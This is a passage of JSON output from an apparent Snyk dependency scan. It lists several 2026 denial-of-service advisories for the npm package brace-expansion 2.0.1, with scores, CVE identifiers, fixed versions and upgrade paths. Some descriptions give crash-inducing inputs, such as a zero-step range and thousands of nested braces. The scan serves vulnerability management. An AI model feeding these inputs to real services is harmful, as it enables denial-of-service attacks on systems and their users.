},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
